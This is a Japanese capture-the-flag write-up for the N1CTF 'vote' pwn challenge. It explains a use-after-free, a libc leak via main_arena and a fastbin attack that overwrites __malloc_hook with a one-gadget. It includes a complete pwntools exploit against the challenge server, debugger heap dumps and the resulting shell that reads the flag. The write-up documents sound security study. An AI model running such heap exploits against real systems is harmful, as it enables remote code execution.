vote(Pwn, 250 points)
選挙の候補者を自分で登録して自分で投票したりするプログラム。
Use After Freeの脆弱性があってfastbin使ってるのでDouble FreeからのFastbin Dupができるかなと思って試してみたところ、consolidateしようとして落ちてしまうようだったので非常に困った。(Double Free対象のfastbinのfdが0xffffffffffffffffになっていると、0x40119dの「call _printf」でprintf→vfprintf→malloc→malloc_consolidateときたときに落ちるらしい)
最終的にはFastbin Dup以外の方法でFastbin unlink attackすることになるのだけれど、そこに至るまでにけっこう悩んだ。ただ、昨年のSECCON予選のelectionも投票を扱った問題で、「あのときはアドレスをインクリメントしていったな」と思い出したのでvote処理に着目し、なんとか解けた。
ファイル情報
# file ./vote
vote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53266adcfdcb7b21a01e9f2a1cb0396b818bfba3, stripped
# checksec ./vote
[*] '(snip)/vote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
動作概要
- 最初に投票対象の候補者を登録する
- 候補者に対して、投票(Vote)したり投票取り下げ(Cancel)したりする
- 得票数がマイナスになると、候補者自体が削除(free)される
- ヒープ上に候補者ごとの構造体が存在し、それぞれのアドレスを.bss(0x6020e0~0x602158)から指している
- 候補者の構造体要素は下記
- 得票数(8バイト)
- 最終得票時間(8バイト)
- 候補者名(ユーザ指定サイズ)
# ./vote
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: AAAA
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: BBBB
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 1
Please enter the index: 0
name: AAAA
count: 0
time: 1520817619
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0 -> 2
1 -> 1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 4
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0 -> 1
1 -> 1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 5
Bye
脆弱点
関数sub_40109d内のfree実行時(0x401163、0x4011cbあたり)、free対象チャンクを指している.bss上の領域(0x6020e0~0x602158)がきれいにされないため、Use After Freeの脆弱性がある。
考察
- Fastbin unlink attackが使えそうなので、__malloc_hookにOne-Gadget-RCEのアドレスを書き込む方法を検討する
- libc_baseを求めるために、どこかのアドレスをリークさせる
- 下記の理由から、main_arenaのアドレスリークを行う
- ヒープサイズを自由に決められること(smallbinをfreeすることで、そのfd, bk部分にmain_arena+0x58が書き込まれる)
- Use After Freeの脆弱性があること
- 下記の理由から、main_arenaのアドレスリークを行う
- Fastbin unlink attackを行うためにfastbin->fdを書き換えないといけないが、Double Freeが使えない
- そもそもDouble Freeできてもfastbin->fd部分は得票数となっているため、ユーザによって任意の値を書き込めない
- ユーザによって書き込み可能な候補者名は、fastbinの16バイト目以降
- ヒープオーバーフローは存在しない(多分)
- Use After Freeの脆弱性により、ヒープがfreeされた後もvote(得票数をインクリメント)できる
- 得票数はちょうどfastbin->fdにあたる
- 別のヒープ上に偽チャンクを作り、そのヒープをfdとするfastbinに対してvoteを何回か繰り返す(Use After Freeにより実行可能)ことで、元々指していたヒープの先頭アドレスではなく偽チャンクの先頭アドレスを指させる
- 偽チャンクのfdに、__malloc_hook周辺のアドレスを書いておく
- そもそもDouble Freeできてもfastbin->fd部分は得票数となっているため、ユーザによって任意の値を書き込めない
方針
- smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる
- Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める
- 偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは__malloc_hook周辺を指している)
- 上記と同じサイズのfastbin(#3)を確保する
- #2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)
- #3に対してvoteを何回か繰り返して、そのfdに偽チャンクの先頭を指させる
- 2回mallocすると、次のmallocでは__malloc_hook周辺のアドレス(偽チャンクのfd)が返る
- mallocしてOne-Gadget-RCEのアドレスを書き込む
- mallocを呼ぶような操作を実行する
事前準備
提供されたlibc-2.23.soについて、
- ロードしたときの「main_arenaアドレス - libc_base」のオフセット値を求める(smallbinをfreeして確認)
pwndbg> x/6gx 0x686000
0x686000: 0x0000000000000000 0x00000000000000c1
0x686010: 0x00007f6c1df11b78 0x00007f6c1df11b78
0x686020: 0x4141414141414141 0x0000000000000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 (snip)/vote
0x601000 0x602000 r--p 1000 1000 (snip)/vote
0x602000 0x603000 rw-p 1000 2000 (snip)/vote
0x686000 0x6a7000 rw-p 21000 0 [heap]
0x7f6c1d930000 0x7f6c1d948000 r-xp 18000 0 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7f6c1d948000 0x7f6c1db47000 ---p 1ff000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7f6c1db47000 0x7f6c1db48000 r--p 1000 17000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7f6c1db48000 0x7f6c1db49000 rw-p 1000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7f6c1db49000 0x7f6c1db4d000 rw-p 4000 0
0x7f6c1db4d000 0x7f6c1dd0d000 r-xp 1c0000 0 (snip)/libc-2.23.so
0x7f6c1dd0d000 0x7f6c1df0d000 ---p 200000 1c0000 (snip)/libc-2.23.so
0x7f6c1df0d000 0x7f6c1df11000 r--p 4000 1c0000 (snip)/libc-2.23.so
0x7f6c1df11000 0x7f6c1df13000 rw-p 2000 1c4000 (snip)/libc-2.23.so
0x7f6c1df13000 0x7f6c1df17000 rw-p 4000 0
>>> hex(0x00007f6c1df11b78-0x58-0x7f6c1db4d000)
'0x3c4b20'
- __malloc_hookのオフセット値を求める
# nm -D ./libc-2.23.so | grep malloc_hook
00000000003c4b10 V __malloc_hook
-
__malloc_hook周辺でfastbinとして返せそうな領域のsize部分の値を確認する
- 今回は__malloc_hook-0x23
- サイズは0x70
-
One-Gadget-RCEのオフセット値を求める
# one_gadget -f ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
exploit
from pwn import *
context.log_level = 'INFO'
target = '47.90.103.10'
port = 6000
conn = remote(target, port)
def create(size, name):
conn.sendlineafter('Action: ', '0')
conn.sendlineafter('size: ', str(size))
conn.sendlineafter('name: ', name)
def show(idx):
conn.sendlineafter('Action: ', '1')
conn.sendlineafter('index: ', str(idx))
conn.recvuntil('name: ')
name = conn.recvuntil('\ncount: ', True)
count = conn.recvuntil('\ntime: ', True)
time = conn.recvuntil('\n', True)
return [name, count, time]
def vote(idx):
conn.sendlineafter('Action: ', '2')
conn.sendlineafter('index: ', str(idx))
def cancel(idx):
conn.sendlineafter('Action: ', '4')
conn.sendlineafter('index: ', str(idx))
arena_offset = 0x3c4b20
malloc_hook_offset = 0x3c4b10
create(0xa0, 'A'*8) #0
create(0x20, 'A'*8) #1
cancel(0)
main_arena = int(show(0)[1]) - 0x58
libc_base = main_arena - arena_offset
target_addr = libc_base + malloc_hook_offset - 0x23
log.info('leak_arena: {0}'.format(hex(main_arena)))
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('target_addr: {0}'.format(hex(target_addr)))
payload = ''
payload += p64(0)
payload += p64(0x71)
payload += p64(target_addr)
create(0x50, payload) #2
create(0x50, 'A'*8) #3
cancel(2)
cancel(3)
for i in range(0x20):
vote(3)
create(0x50, 'A'*8)
create(0x50, 'A'*8)
one_gadget = libc_base + 0xf0274
payload = ''
payload += p8(0) * 3
payload += p64(one_gadget)
create(0x50, payload)
conn.sendlineafter('Action: ', '0')
conn.sendlineafter('size: ', str(1))
conn.interactive()
conn.close()
検証メモ
1.
smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる
pwndbg> x/6gx 0x644000
0x644000: 0x0000000000000000 0x00000000000000c1
0x644010: 0x00007fc8c8002b78 0x00007fc8c8002b78
0x644020: 0x4141414141414141 0x0000000000000000
2.
Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める
[*] leak_arena: 0x7fc8c8002b20
[*] libc_base: 0x7fc8c7c3e000
[*] target_addr: 0x7fc8c8002aed
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 (snip)/vote
0x601000 0x602000 r--p 1000 1000 (snip)/vote
0x602000 0x603000 rw-p 1000 2000 (snip)/vote
0x644000 0x665000 rw-p 21000 0 [heap]
0x7fc8c7a21000 0x7fc8c7a39000 r-xp 18000 0 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fc8c7a39000 0x7fc8c7c38000 ---p 1ff000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fc8c7c38000 0x7fc8c7c39000 r--p 1000 17000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fc8c7c39000 0x7fc8c7c3a000 rw-p 1000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fc8c7c3a000 0x7fc8c7c3e000 rw-p 4000 0
0x7fc8c7c3e000 0x7fc8c7dfe000 r-xp 1c0000 0 (snip)/libc-2.23.so
0x7fc8c7dfe000 0x7fc8c7ffe000 ---p 200000 1c0000 (snip)/libc-2.23.so
0x7fc8c7ffe000 0x7fc8c8002000 r--p 4000 1c0000 (snip)/libc-2.23.so
0x7fc8c8002000 0x7fc8c8004000 rw-p 2000 1c4000 (snip)/libc-2.23.so
0x7fc8c8004000 0x7fc8c8008000 rw-p 4000 0
0x7fc8c8008000 0x7fc8c802e000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fc8c8212000 0x7fc8c8215000 rw-p 3000 0
0x7fc8c822c000 0x7fc8c822d000 rw-p 1000 0
0x7fc8c822d000 0x7fc8c822e000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fc8c822e000 0x7fc8c822f000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fc8c822f000 0x7fc8c8230000 rw-p 1000 0
0x7ffd89c36000 0x7ffd89c57000 rw-p 21000 0 [stack]
0x7ffd89cb9000 0x7ffd89cbc000 r--p 3000 0 [vvar]
0x7ffd89cbc000 0x7ffd89cbe000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> x/8gx 0x7fc8c8002aed
0x7fc8c8002aed: 0xc8c8001260000000 0x000000000000007f
0x7fc8c8002afd: 0xc8c7cc3e20000000 0xc8c7cc3a0000007f
0x7fc8c8002b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7fc8c8002b1d: 0x0100000000000000 0x0000000000000000
pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fc8c8002b20: 0x0000000100000000 0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000 0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000 0x0000000000000000
3.
偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは2.で求めた__malloc_hook-0x23を指している)
4.
上記と同じサイズのfastbin(#3)を確保する
- #2: 0x644000
- #3: 0x644100
pwndbg> x/48gx 0x644000
0x644000: 0x0000000000000000 0x0000000000000071
0x644010: 0x0000000000000000 0x000000005aa6855f
0x644020: 0x0000000000000000 0x0000000000000071
0x644030: 0x00007fc8c8002aed 0x0000000000000000
0x644040: 0x0000000000000000 0x0000000000000000
0x644050: 0x0000000000000000 0x0000000000000000
0x644060: 0x0000000000000000 0x0000000000000000
0x644070: 0x0000000000000000 0x0000000000000051
0x644080: 0x00007fc8c8002bb8 0x00007fc8c8002bb8
0x644090: 0x0000000000000000 0x0000000000000000
0x6440a0: 0x0000000000000000 0x0000000000000000
0x6440b0: 0x0000000000000000 0x0000000000000000
0x6440c0: 0x0000000000000050 0x0000000000000040
0x6440d0: 0x0000000000000000 0x000000005aa682f2
0x6440e0: 0x4141414141414141 0x0000000000000000
0x6440f0: 0x0000000000000000 0x0000000000000000
0x644100: 0x0000000000000000 0x0000000000000071
0x644110: 0x0000000000000000 0x000000005aa68597
0x644120: 0x4141414141414141 0x0000000000000000
0x644130: 0x0000000000000000 0x0000000000000000
0x644140: 0x0000000000000000 0x0000000000000000
0x644150: 0x0000000000000000 0x0000000000000000
0x644160: 0x0000000000000000 0x0000000000000000
0x644170: 0x0000000000000000 0x0000000000020e91
5.
#2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)
- #2: 0x644000
- #3: 0x644100(fd: 0x644000)
- 偽チャンク: 0x644020
pwndbg> x/48gx 0x644000
0x644000: 0x0000000000000000 0x0000000000000071
0x644010: 0x0000000000000000 0x000000005aa6855f
0x644020: 0x0000000000000000 0x0000000000000071
0x644030: 0x00007fc8c8002aed 0x0000000000000000
0x644040: 0x0000000000000000 0x0000000000000000
0x644050: 0x0000000000000000 0x0000000000000000
0x644060: 0x0000000000000000 0x0000000000000000
0x644070: 0x0000000000000000 0x0000000000000051
0x644080: 0x00007fc8c8002bb8 0x00007fc8c8002bb8
0x644090: 0x0000000000000000 0x0000000000000000
0x6440a0: 0x0000000000000000 0x0000000000000000
0x6440b0: 0x0000000000000000 0x0000000000000000
0x6440c0: 0x0000000000000050 0x0000000000000040
0x6440d0: 0x0000000000000000 0x000000005aa682f2
0x6440e0: 0x4141414141414141 0x0000000000000000
0x6440f0: 0x0000000000000000 0x0000000000000000
0x644100: 0x0000000000000000 0x0000000000000071
0x644110: 0x0000000000644000 0x000000005aa68597
0x644120: 0x4141414141414141 0x0000000000000000
0x644130: 0x0000000000000000 0x0000000000000000
0x644140: 0x0000000000000000 0x0000000000000000
0x644150: 0x0000000000000000 0x0000000000000000
0x644160: 0x0000000000000000 0x0000000000000000
0x644170: 0x0000000000000000 0x0000000000020e91
- サイズ0x70のfastbinsY[ ]
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│ rsi 0x7fc8c8002b50 —▸ 0x644100 ◂— 0x0
6.
#3に対してvoteを0x20回繰り返して、そのfdに偽チャンクの先頭を指させる
- #2: 0x644000
- #3: 0x644100(fd: 0x644020)
- 偽チャンク: 0x644020
pwndbg> x/48gx 0x644000
0x644000: 0x0000000000000000 0x0000000000000071
0x644010: 0x0000000000000000 0x000000005aa6855f
0x644020: 0x0000000000000000 0x0000000000000071
0x644030: 0x00007fc8c8002aed 0x0000000000000000
0x644040: 0x0000000000000000 0x0000000000000000
0x644050: 0x0000000000000000 0x0000000000000000
0x644060: 0x0000000000000000 0x0000000000000000
0x644070: 0x0000000000000000 0x0000000000000051
0x644080: 0x00007fc8c8002bb8 0x00007fc8c8002bb8
0x644090: 0x0000000000000000 0x0000000000000000
0x6440a0: 0x0000000000000000 0x0000000000000000
0x6440b0: 0x0000000000000000 0x0000000000000000
0x6440c0: 0x0000000000000050 0x0000000000000040
0x6440d0: 0x0000000000000000 0x000000005aa682f2
0x6440e0: 0x4141414141414141 0x0000000000000000
0x6440f0: 0x0000000000000000 0x0000000000000000
0x644100: 0x0000000000000000 0x0000000000000071
0x644110: 0x0000000000644020 0x000000005aa6884b
0x644120: 0x4141414141414141 0x0000000000000000
0x644130: 0x0000000000000000 0x0000000000000000
0x644140: 0x0000000000000000 0x0000000000000000
0x644150: 0x0000000000000000 0x0000000000000000
0x644160: 0x0000000000000000 0x0000000000000000
0x644170: 0x0000000000000000 0x0000000000000121
7.
2回mallocすると、次のmallocでは__malloc_hook-0x23(偽チャンクのfd)が返る
- サイズ0x70のfastbinsY[ ](1回目のmallocの後)
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│ 0x7fc8c8002b50 —▸ 0x644020 ◂— 0x0
- サイズ0x70のfastbinsY[ ](2回目のmallocの後)
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│ 0x7fc8c8002b50 —▸ 0x7fc8c8002aed ◂— 0xc8c8001260000000
8.
mallocしてOne-Gadget-RCEのアドレスを書き込む
pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x00007fc8c7d2e274 0x0000000000000000
0x7fc8c8002b20: 0x0000000000000000 0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000 0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000 0x0000000000000000
9.
mallocを呼ぶような操作を実行する
[+] Opening connection to 47.90.103.10 on port 6000: Done
[*] leak_arena: 0x7f6b5fbe7b20
[*] libc_base: 0x7f6b5f823000
[*] target_addr: 0x7f6b5fbe7aed
[*] Switching to interactive mode
$ ls
flag vote
$ cat flag
N1CTF{Pr1nTf_2333333333!}